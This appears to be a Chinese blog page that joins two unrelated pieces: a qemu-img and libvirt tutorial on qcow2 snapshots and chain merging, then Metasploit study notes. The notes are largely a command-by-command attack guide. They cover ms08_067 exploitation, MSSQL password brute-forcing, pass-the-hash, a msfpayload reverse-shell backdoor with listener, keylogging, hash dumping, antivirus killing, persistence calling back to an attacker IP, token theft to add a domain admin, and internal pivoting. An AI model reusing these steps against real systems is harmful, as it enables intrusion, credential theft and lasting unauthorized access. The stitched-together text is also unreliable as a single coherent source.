使用qemu-img为单个backing file来创建两个fedora的瘦装备克隆:

# qemu-img create -b /export/vmimages/RootBase.img -f qcow2 \
  /export/vmimages/Fedora-guest-1.qcow2

# qemu-img create -b /export/vmimages/RootBase.img -f qcow2 \
  /export/vmimages/Fedora-guest-2.qcow2

现在,上面创建出来的两个镜像 Fedora-guest-1 & Fedora-guest-2 都可以用来启动一个虚拟机,继续我们的示例,现在我们需要创建一个f17的实例,但是这次我们需要创建的是具有完整的更新的实例,这时可以创建另外一个overlay(Fedora-guest-with-updates-1A)而这个overlay的backing file是'Fed-w-updates.qcow2'(一个包含了完整更新的镜像):

# qemu-img create -b /export/vmimages/Fed-w-updates.qcow2 -f qcow2 \
   /export/vmimages/Fedora-guest-with-updates-1A.qcow2

我们可以使用qemu-img命令来查看镜像的信息,包括虚拟磁盘大小,使用大小,backing file指向:

# qemu-img info /export/vmimages/Fedora-guest-with-updates-1A.qcow2

注意: 最新版本的qemu-img可以递归查询到整条完整的链:

# qemu-img info --backing-chain /export/vmimages/Fedora-guest-with-updates-1A.qcow2

名词解释Snapshot:

  • 内置快照(Internal Snapshots) -- 单个qcow2镜像文件存储了包括数据以及快照的状态信息,

内置快照又可以细分一下:-

  • 内置磁盘快照(Internal disk snapshot):

  • 快照点的磁盘状态,数据和快照保存在单个qcow2文件中,虚拟机运行状态和关闭状态都可以创建.

Libvirt 使用 'qemu-img' 命令创建关机状态的磁盘快照.Libvirt 使用 'savevm' 命令创建运行状态的磁盘快照.

  • 内置系统还原点(Internal system checkpoint):

内存状态,设备状态和磁盘状态,可以为运行中的虚拟机创建,所有信息都存储在同一个qcow2文件中,只有在运行状态才能创建内置系统还原点.

Libvirt 使用'savevm' 命令来创建这种快照

  • 外置快照(External Snapshots) -- 当一个快照被创建时,创建时当前的状态保存在当前使用的磁盘文件中,即成为一个backing file.此时一个新的overlay被创建出来保存往后的数据.

这个也可以细分一下:-

  • 外置磁盘快照(External disk snapshot): 磁盘的快照被保存在一个文件中,创建时间点以后的数据被记录到一个新的qcow2文件中.同样可以在运行和关闭状态创建.

Libvirt 使用 'transaction' 命令来为运行状态创建这种快照. Libvirt 使用'qemu-img' 命令为关闭状态创建这种快照(截止目前功能还在开发中).

  • 外置系统还原点(External system checkpoint):

虚拟机的磁盘状态将被保存到一个文件中,内存和设备的状态将被保存到另外一个新的文件中,

(这个功能也还在开发中).

VM状态(VM state):

保存运行状态虚拟机的内存设备状态信息至文件,可以通过此文件恢复到保存时的状态,有点类似系统的休眠.(注意创建VM状态保存的时候VM磁盘必须是未发生写入改动的)

Libvirt使用 'migrate' (to file)命令来完成VM状态转储.

创建快照

每次产生一个外置snapshot,一个 /new/ overlay 镜像就会随之生成,而前一个镜像就变成了一个快照.

diskonly内置快照创建

假如需要为名为'f17vm1'的虚拟机创建一个运行态或关闭态的内置快照snap1

# virsh snapshot-create-as f17vm1  snap1 snap1-desc

列出快照列表,使用qemu-img查看info

# virsh snapshot-list f17vm1
# qemu-img info /home/kashyap/vmimages/f17vm1.qcow2

disk-only外置快照创建 :

查看虚拟机磁盘列表

# virsh domblklist f17-base
Target     Source
---------------------------------------------
vda        /export/vmimages/f17-base.qcow2

创建外置disk-only磁盘快照(VM运行态):

# virsh snapshot-create-as --domain f17-base snap1 snap1-desc \
--disk-only --diskspec vda,snapshot=external,file=/export/vmimages/sn1-of-f17-base.qcow2 \
--atomic
Domain snapshot snap1 created
  • 一旦上面的命令被执行,则原来的镜像f17-base将变为backing file,一个新的镜像被创建.

现在再列表查看虚拟机磁盘,你会发现新产生的镜像已经投入使用.

# virsh domblklist f17-base
Target     Source
----------------------------------------------------
vda        /export/vmimages/sn1-of-f17-base.qcow2

快照回滚

截止写此文之时,回滚至'内置快照'(system checkpoint或disk-only)是可以使用的.

虚拟机f17vm1回滚至快照'snap1'

# virsh snapshot-revert --domain f17vm1 snap1

使用 snapshot-revert 回滚 '外置磁盘快照' 稍微复杂些,需要涉及到稍微复杂点的问题,需要考虑的是合并'base'至'top'还是合并'top'至'base'.也就是说,有两种方式可以选择,外置磁盘快照链的缩短可以使用 blockpull 或 blockcommit .截止目前上游社区仍然在努力完善这项功能.

合并快照文件

外置快照非常有用,但这里有一个问题就是如何合并快照文件来缩短链的长度,如上所述这里

有两种方式:

  • blockcommit: 从 top 合并数据到 base (即合并overlays至backing files).
  • blockpull: 将backing file数据合并至overlay中.从 base 到 top .

blockcommit

blockcommit可以让你将'top'镜像(在同一条backing file链中)合并至底层的'base'镜像.一旦 blockcommit 执行完成,处于最上面的overlay链关系将被指向到底层的overlay或base.这在创建了很长一条链之后用来缩短链长度的时候十分有用.

下面来个图说明下:

我们现在有一个镜像叫'RootBase',拥有4个外置快照,'Active'为当前VM写入数据的,

使用'blockcommit'可以有以下多种case :

合并Snap-1, Snap-2 and Snap-3 至 'RootBase' 只合并Snap-1 and Snap-2 至 RootBase 只合并Snap-1 至 RootBase 合并Snap-2 至 Snap-1 合并Snap-3 至 Snap-2 合并Snap-2 和 Snap-3 至 Snap-1 注: 合并'Active'层(最顶部的overlay)至backing_files的功能还在开发中.

(下图解释case (6))

Figure-3

.------------.  .------------.  .------------.  .------------.  .------------.
|            |  |            |  |            |  |            |  |            |
| RootBase   <---  Snap-1    <---  Snap-2    <---  Snap-3    <---  Snap-4    |
|            |  |            |  |            |  |            |  | (Active)   |
'------------'  '------------'  '------------'  '------------'  '------------'
                                 /                  |
                                /                   |
                               /  commit data       |
                              /                     |
                             /                      |
                            /                       |
                           v           commit data  |
.------------.  .------------. <--------------------'           .------------.
|            |  |            |                                  |            |
| RootBase   <---  Snap-1    |<---------------------------------|  Snap-4    |
|            |  |            |       Backing File               | (Active)   |
'------------'  '------------'                                  '------------'

举个例子,有以下场景:

当前: [base] <- sn1 <- sn2 <- sn3 <- sn4(this is active)

目标: [base] <- sn1 <- sn4 (如此来丢弃sn2,sn3)

下面有两种方式,method-a更快,method-b 慢些,但是sn2有效可用. (VM运行态).

(method-a):

           # virsh blockcommit --domain f17 vda --base /export/vmimages/sn1.qcow2  \

               --top /export/vmimages/sn3.qcow2 --wait --verbose

[OR] (method-b):

# virsh blockcommit --domain f17 vda  --base /export/vmimages/sn2.qcow2  \
    --top /export/vmimages/sn3.qcow2 --wait --verbose
# virsh blockcommit --domain f17 vda  --base /export/vmimages/sn1.qcow2  \
    --top /export/vmimages/sn2.qcow2 --wait --verbose

注: 如果手工执行qemu-img命令完成的话, 现在还只能用method-b. Figure-4

.------------.  .------------.  .------------.  .------------.  .------------.
|            |  |            |  |            |  |            |  |            |
| RootBase   <---  Snap-1    <---  Snap-2    <---  Snap-3    <---  Snap-4    |
|            |  |            |  |            |  |            |  | (Active)   |
'------------'  '------------'  '------------'  '------------'  '------------'
                  /                  |             |
                 /                   |             |
                /                    |             |
   commit data /         commit data |             |
              /                      |             |
             /                       | commit data |
            v                        |             |
.------------.<----------------------|-------------'            .------------.
|            |<----------------------'                          |            |
| RootBase   |                                                  |  Snap-4    |
|            |<-------------------------------------------------| (Active)   |
'------------'                  Backing File                    '------------'

上图演示了case1的blockcommit走向,现在sn4的backing file指向rootbase.

blockpull

blockpull(qemu中也称作'block stream')可以将backing合并至active,与blockcommit正好相反.截止目前只能将backing file合并至当前使用的active中,也就是说还不支持指定top的合并. 设想一个下面的场景:

Figure-5

.------------.  .------------.  .------------.  .------------.  .------------.
|            |  |            |  |            |  |            |  |            |
| RootBase   <---  Snap-1    <---  Snap-2    <---  Snap-3    <---  Snap-4    |
|            |  |            |  |            |  |            |  | (Active)   |
'------------'  '------------'  '------------'  '------------'  '------------'
                         |                 |              \
                         |                 |               \
                         |                 |                \
                         |                 |                 \ stream data
                         |                 | stream data      \
                         | stream data     |                   \
                         |                 |                    v
     .------------.      |                 '--------------->  .------------.
     |            |      '--------------------------------->  |            |
     | RootBase   |                                           |  Snap-4    |
     |            | <---------------------------------------- | (Active)   |
     '------------'                 Backing File              '------------'

使用blockpull我们可以将snap-1/2/3中的数据合并至active层,最终rootbase将变成active的直接后端.

命令如下:

假设快照已经使用 创建Snapshots 小节中的方式完成:

Figure-5中描述的-- [RootBase] <- [Active].

# virsh blockpull --domain RootBase  \
  --path /var/lib/libvirt/images/active.qcow2  \
  --base /var/lib/libvirt/images/RootBase.qcow2  \
  --wait --verbose

后续的工作是我们需要使用virsh来清理掉不用的快照

# virsh snapshot-delete --domain RootBase Snap-3 --metadata
# virsh snapshot-delete --domain RootBase Snap-2 --metadata
# virsh snapshot-delete --domain RootBase Snap-1 --metadata

Figure-6

.------------.  .------------.  .------------.  .------------.  .------------.
|            |  |            |  |            |  |            |  |            |
| RootBase   <---  Snap-1    <---  Snap-2    <---  Snap-3    <---  Snap-4    |
|            |  |            |  |            |  |            |  | (Active)   |
'------------'  '------------'  '------------'  '------------'  '------------'
      |                  |              |                  \
      |                  |              |                   \
      |                  |              |                    \  stream data
      |                  |              | stream data         \
      |                  |              |                      \
      |                  | stream data  |                       \
      |  stream data     |              '------------------>     v
      |                  |                                    .--------------.
      |                  '--------------------------------->  |              |
      |                                                       |  Snap-4      |
      '---------------------------------------------------->  | (Active)     |
                                                              '--------------'
                                                                'Standalone'
                                                                (w/o backing
                                                                file)

上图表示的是将所有backing file全部合并至active

如下执行命令:

(1) 在我们执行合并 之前 查看一下快照的大小(注意观察'Active'): ::

        # ls -lash /var/lib/libvirt/images/RootBase.img
        608M -rw-r--r--. 1 qemu qemu 1.0G Oct 11 17:54 /var/lib/libvirt/images/RootBase.img

        # ls -lash /var/lib/libvirt/images/*Snap*
        840K -rw-------. 1 qemu qemu 896K Oct 11 17:56 /var/lib/libvirt/images/Snap-1.qcow2
        392K -rw-------. 1 qemu qemu 448K Oct 11 17:56 /var/lib/libvirt/images/Snap-2.qcow2
        456K -rw-------. 1 qemu qemu 512K Oct 11 17:56 /var/lib/libvirt/images/Snap-3.qcow2
        2.9M -rw-------. 1 qemu qemu 3.0M Oct 11 18:10 /var/lib/libvirt/images/Active.qcow2

(2) 单独检查下 'Active' 所指向的backing file ::

        # qemu-img info /var/lib/libvirt/images/Active.qcow2
        image: /var/lib/libvirt/images/Active.qcow2
        file format: qcow2
        virtual size: 1.0G (1073741824 bytes)
        disk size: 2.9M
        cluster_size: 65536
        backing file: /var/lib/libvirt/images/Snap-3.qcow2

(3) 开始 blockpull 操作. ::

        # virsh blockpull --domain ptest2-base --path /var/lib/libvirt/images/Active.qcow2 --wait --verbose
        Block Pull: [100 %]
        Pull complete

(4) 再检查下快照大小, 'Active'变得很大 ::

        # ls -lash /var/lib/libvirt/images/*Snap*
         840K -rw-------. 1 qemu qemu 896K Oct 11 17:56 /var/lib/libvirt/images/Snap-1.qcow2
         392K -rw-------. 1 qemu qemu 448K Oct 11 17:56 /var/lib/libvirt/images/Snap-2.qcow2
         456K -rw-------. 1 qemu qemu 512K Oct 11 17:56 /var/lib/libvirt/images/Snap-3.qcow2
        1011M -rw-------. 1 qemu qemu 3.0M Oct 11 18:29 /var/lib/libvirt/images/Active.qcow2

(5) 检查'Active'信息,现在它已经不需要backing file了,正如Figure-6所示::

        # qemu-img info /var/lib/libvirt/images/Active.qcow2
        image: /var/lib/libvirt/images/Active.qcow2
        file format: qcow2
        virtual size: 1.0G (1073741824 bytes)
        disk size: 1.0G
        cluster_size: 65536

(6) 清理现场 ::

        # virsh snapshot-delete --domain RootBase Snap-3 --metadata

(7) 现在还可以使用下 guestfish READ-ONLY 模式来检查下磁盘内容( --ro 选项) ::

        # guestfish --ro -i -a /var/lib/libvirt/images/Active.qcow2

快照删除 (and 'offline commit')

删除(live/offline)状态的内置快照很方便 ::

# virsh snapshot-delete --domain f17vm --snapshotname snap6

[OR]

# virsh snapshot-delete f17vm snap6

libvirt现在还没有删除外置快照的功能,但是可以使用qemu-img命令来完成.

比如我们有这样一条链(VMoffline状态): base <- sn1 <- sn2 <- sn3

现在删除第二个快照(sn2).有两种方式:

* Method (1): base <- sn1 <- sn3 (by copying sn2 into sn1)
* Method (2): base <- sn1 <- sn3 (by copying sn2 into sn3)

Method (1)

(by copying sn2 into sn1)

注意: 必须保证sn1没有被其他快照作为后端,不然就挂了!!

offline commit

# qemu-img commit sn2.qcow2

将会commit所有在sn2中的改动到sn2的backing file(sn1). qemu-img commit和virsh blockcommit类似 现在把sn3的后端指向到sn1.

# qemu-img rebase -u -b sn1.qcow2 sn3.qcow2

注意: -u代表'Unsafe mode' -- 此模式下仅仅修改了指向到的backing file名字,必须谨慎操作. 现在可以直接删除sn2

# rm sn2.qcow2

Method (2)

(by copying sn2 into sn3)

合并数据,rebase后端:

# qemu-img rebase -b sn1.qcow2 sn3.qcow2

未使用-u模式的rebase将把数据也一并合并过去,即sn2的数据写入到sn3. 换言之: 这里使用的'Safe mode',也是默认模式 --对sn3而言任何从 qemu-img rebase(没有-u)和和virsh blockpull类似. backingfile(sn1)到旧的backingfile(sn2)之间发生的差异改动都将被合并到sn3中.

现在可以删除sn2了

# rm sn2.qcow2

· 阅读需 44 分钟

N年前使用metasploit框架过程中写下的学习笔记

一.名词解释

  • exploit: 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。

  • payload: 我们想让被攻击系统执行的程序,如reverse shell可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload也可以是只 能在目标机器上执行有限命令的程序。

  • shellcode: 是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可 执行命令的shell。

  • module: MSF的模块,由一系列代码组成。

  • listener: 等待来自被攻击机器的incoming连接的监听在测试者机器上的程序。

二.MSF基础

启动msf

1、MSF提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、armitage),(在老版本中还有web界面模式,后来貌似由于安全因素被取消了?)其中console模式最常用,启动方式:

cd /opt/framework/msf3/
msfconsole

运行此命令后将进入msf命令提示符:

msf>

获取帮助信息

2、获取命令的帮助信息:help

例子:

help connect

msfcli

3、msfcli 和msfconsole相比不提供交互方式,它直接从命令行输入所有参数并产生结果,

msfcli –h #获取帮助信息
msfcli <exploit_name> <option=value> [mode]
mode:H(help)帮助

   S(summary)显示模块信息

    O(options)显示模块的可用选项

     A(advanced)显示高级选项   

I(ids)显示IDS EVASION 选项

     P(payload)显示此模块可用的payload

T(targets)显示可用targets

AC(action)显示可用actions

C(check)运行模块测试

   E(execute)执行选定的模块

模块使用示例

例子:ms08_067_netapi模块

msfcli windows/smb/ms08_067_netapi O    #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E   #执行 (此处O、P 等参数也可以用小写)

armitage使用

4、Armitage :MSF的一个图形接口

运行方式:

cd /opt/farmework/msf3/
armitage

msf其他组件

5、MSF其他组件:

  • MSFpayload工具:

用于生成shellcode,可生成C,Ruby,JaveScript,VB格式的shellcode。 帮助信息:

msfpayload –h
  • MSFencode工具:

编码压缩shellcode,过IDS ,防火墙。

msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集

1、攻击第一步:基础信息收集

whois查询:

msf > whois example.com
msf> whois 192.168.1.100

http://searchdns.netcraft.com/在线收集服务器IP信息工具

nslookup
set type=mx
> example.com

2、用nmap探测开放端口和服务:

-sS SYN半开扫描 -sT TCP 半开扫描 -Pn 不使用ping 方式探测主机 -A 探测服务类型 -6 开启IPV6扫描 -O 探测操作系统版本 常用扫描参数组合:

nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111 

其他组合:

nmap -T4 -A -v 深入式扫描
nmap -sS -sU -T4 -A -v 同上,且扫UDP
nmap -p 1-65535 -T4 -A -v  扫描所有TCP端口
nmap -T4 -A -v -Pn 不使用ping
nmap -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 慢速全面扫描

(nmap的scripts位于/usr/local/share/nmap/scripts/目录,用LUA语言编写,nmap --script-help all | less 查看脚本扫描帮助信息) (nmap还有一个GUI界面工具叫zenmap,命令zenmap或nmapfe都可以启动)

3、MSF与postgresql协同工作

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
# 导入nmap扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24   # -oX 扫描结果导出为Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address   #查看导入的主机IP 

msf也可以和mysql一起工作,在bt5 r1中msf默认支持连接mysql:

msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql的msf3数据库
mysql默认密码toor,使用db_connect连接时会自动创建msf3库)

4、高级扫描方式:

msf> use auxiliary/scanner/ip/ipidseq   #IPID序列扫描器,与nmap的-sI -O选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run

(RHOSTS、RPORT等参数也可以用小写)

msf> nmap –PN –sI 192.168.1.09 192.168.1.155

nmap 连接数据库:

msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services  #查看扫描结果

使用portscan模块:

msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

5、特定扫描:

smb_version模块:

msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor

查找mssql主机:

msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SSH服务器扫描:

msf> use auxiliary/scanner/ssh/ssh_version 
set THREADS 50
run

FTP主机扫描:

msf> use auxiliary/scanner/ftp/ftp_version 
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

扫描FTP匿名登录:

use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run

扫描SNMP主机:

msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

6、编写自定义扫描模块:

MSF框架提供对其所有exploit和method的访问,支持代理,SSL,报告生成,线程, 使用Ruby语言。

例子:一个简单的自定义扫描模块

#Metasploit
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf:Auxiliary::Scanner
def initialize
super(
    ‘Name’ => ‘My custom TCP scan’,
    ‘Version’ => ‘$Revision: 1$’,
    ‘Description’ => ‘My quick scanner’,
    ‘Author’ => ‘Your name here’,
    ‘License’ => ‘MSF_LICENSE’
)

register_options(
    [
    Opt::RPORT(12345)
    ],self.class)

end

def run_host(ip)
    connect()
        sock.puts(‘HELLO SERVER’)
        data = sock.recv(1024)
        print_status(“Received: #{data} from #{ip}”)
        disconnect()
    end
end

测试:将模块保存到modules/auxiliary/scanner/目录下面,命名为simple_tcp.rb,注意保存的位置很重要。

使用nc监听一个端口测试这个模块:

echo “Hello Metasploit” > banner.txt
nc –lvnp 12345 < banner.txt
msf> use auxiliary/scanner/simple_tcp
>show options
>set RHOSTS 192.168.1.111
>run
[*] Received: Hello Metasploit from 192.168.1.111

四.基本漏洞扫描

1 基本扫描

1、使用nc与目标端口通信,获取目标端口的信息:

nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1

1: 还有一个功能与nc类似的工具Ncat,产自nmap社区,可实现相同功能:

ncat -C 192.168.1.111 80
GET / HTTP/1.0

2:题外:ncat还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就可以聊天了:服务器(chatserver):ncatncat -l --chat 其他客户端:ncat chatserver

3:ncat还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据: 服务器(server.example.com)上:ncat -l --keep-open 80 --output caidao.log > /dev/null 然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log里面了。也可以导出为hex格式,--output换为--hex-dump就可以了。

4:其实与nc功能类似的工具在bt5里面还有很多,比如还有一个sbd:

监听:sbd -l -p 12345

连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat的不同之处在于ncat自动对用户编号user1、user2、...,而sbd可以自定义昵称,且不需要专门单独监听为聊天服务器:

pc1:sbd -l -p 12345 -P chowner

pc2:sbd pc1 12345 -P evil

6:其实nc也可以用来聊天的:

pc1:nc -l -p 12345

pc2: telnet pc1 12345

2 与NeXpose结合扫描:

在nexpose中扫描目标并生成xml格式的报告后,将报告导入到msf:

db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/host_test.xml
db_hosts –c address,svvs,vulns
db_vulns

在MSF中运行nexpose:

db_destroy postgres:toor@127.0.0.l1/msf
db_connect postgres:toor@127.0.0.1/msf
load nexpose
nexpose_connect –h
nexpose_connect nexpose:toor@192.168.1.111 ok
nexpose_scan 192.168.1.195
db_hosts –c address
db_vulns

(如果你想在bt5里安装nexpose的话建议把bt5硬盘空间多留几十G,这玩意硬盘小了不让装。)

3、与nessus结合扫描:

使用Nessus扫描完成后生成.nessus格式的报告,导入到MSF:

db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns

在MSF中使用Nessus:

db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list  #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2表示规则的ID号,bridge_scan自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list  #查看扫描结果
nessus_report_get skjla243-3b5d-*******   #导入报告
db_hosts –c address,svcs,vulns

4、特殊扫描:

SMB弱口令:

msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run

VNC空口令:

msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run

Open X11空口令:

msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run

当扫描到此漏洞的主机后可以使用xspy工具来监视对方的键盘输入:

cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100

5、使用Autopwn处理扫描结果:

autopwn选项:e执行attack t查看匹配模块 r使用reverse shell作为payload x基于漏洞筛选模块 p基于端口筛选模块

db_connect postgres:toor@127.0.0.1/msf
db_import /root/nessus.nbe
db_autopwn –e –t –r –x –p
  • -e 针对符合条件的目标加载所有exploit -t显示所有匹配的exploit -r使用反弹shell
  • -x 基于漏洞筛选模块 -p基于端口筛选模块

五.基础溢出命令

1、基本命令:

查看可用溢出模块show exploits 查看辅助模块show auxiliary 包括扫描器,拒绝服务模块,fuzzer工具或其他。 查看可用选项show options

加载模块后退出此模块 back

例子:

msf> use windows/smb/ms08_067_netapi
back

搜索模块 search

例子: searh mssql search ms08_067

查看当前模块可用的payload: show payloads

例子:

use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options

查看可选的目标类型show targets 查看更多信息info 设置一个选项或取消设置 set/unset 设置或取消全局选项 setg/unsetg 例如设置LHOST就可以用setg,避免后面重复设置 保存全局选项的设置 save 当下次启动仍然生效 查看建立的session sessions –l

激活session sessions –i num #num为session编号

2、暴力端口探测:

当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf将对目标的所有端口进行尝试,直到找到一个开放端口并与测试者建立连接。

例子:

use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX)
search ports   #搜索与ports相关模块
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j   #作为后台任务运行
sessions –l –v
sesssions –i 1

3、MSF脚本文件:

为了缩短测试时间可以将msf命令写入一个文件,然后在msf中加载它。

加载方式:msfconsole的resource命令或者msfconsole加上-r选项

例子:

echo ‘version’ > resource.rc
echo ‘load sounds’ >> resource.rc
msfconsole –r resource.rc

例子:

echo 'use exploit/windows/smb/ms08_067_netapi' > autoexp.rc
echo 'set RHOST 192.168.1.133' >> autoexp.rc
echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> autoexp.rc
echo 'set LHOST 192.168.1.111' >> autoexp.rc
echo 'exploit' >> autoexp.rc
msfconsole
msf> resource autoexp.rc

六.METERPRETER

1、使用meterpreter

当对目标系统进行溢出时,使用meterpreter作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。 例子:

msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务
#假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434   #确认端口开放
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit

至此可获取服务器名称,版本号等信息。

msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit

暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell功能添加账户:

msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit

当获取到一个meterpreter shell 后可以执行更多的操作:

获取屏幕截图:screenshot

获取系统信息:sysinfo

获取键盘记录:

meterpreter> ps  #查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter> migrate 1668  #插入该进程
meterpreter> run post/windows/capture/keylog_recorder  #运行键盘记录模块,将击键记录保存到本地txt
cat /root/.msf3/loot/*****.txt  #查看结果

获取系统账号密码:

meterpreter> use priv
meterpreter> run post/windows/gather/hashdump

当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用pass-the-hash技术:

msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit

获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:

在目标机器上执行:net uaer hacker pass /add

本地生成一个后门程序:

msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe

将payload.exe拷贝到目标机器然后使用新建立的账号执行,本地执行端口监听,等待来自目标机器连接:

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid

至此取得SYSTEM权限

2、令牌模拟:

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

meterpreter> ps  # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380
meterpreter> steal_token 380
#有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可用token:
meterpreter> use incognito
meterpreter> list_tokens –u  #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50  #将账户添加至域管理员组

3、内网渗透:

当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:

例子:

meterpreter> run get_local_subnets  #查看网段/子网
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background  #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1  #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap   #准备向内网目标主机进攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此处为attacking主机的外网IP 
set LPORT 8080
set RHOST 192.168.33.132 #内网目标主机
exploit

也可以使用自动式添加路由模块:

msf> load auto_add_route
msf> exploit

4、Meterpreter脚本:

使用run scriptname 方式执行

vnc脚本,获取远程机器vnc界面控制

meterpreter> run vnc
meterpreter> run screen_unlock

进程迁移

当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。

例子:

meterpreter> run post/windows/manage/migrate

(在64位win7中migrate需要管理员权限执行后门才能成功,而migrate前后获取的权限是有差异的。)

关闭杀毒软件

meterpreter> run killav   (这个脚本要小心使用,可能导致目标机器蓝屏死机。)

获取系统密码hash

meterpreter> run hashdump

(64位win7下需要管理员权限执行后门且先getsystem,然后使用

run  post/windows/gather/hashdump来dump hash成功率更高。

而且如果要使用shell添加系统账户的话win7下得先:

run post/windows/escalate/bypassuac  ,不然可能不会成功。)

获取系统流量数据

meterpreter> run packtrecorder –i 1

直捣黄龙

可以干很多事情:获取密码,下载注册表,获取系统信息等

meterpreter> run scraper

持久保持

当目标机器重启之后仍然可以控制

meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111

-X 开机启动 -i连接超时时间 –p端口 –rIP

下次连接时:

msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit

(会在以下位置和注册表以随机文件名写入文件等信息,如:

C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs

C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

POST整合模块

可实现同时多个session操作

例子:获取hash

meterpreter> run post/windows/gather/hashdump

其他还有很多,使用TAB键补全看下就知道

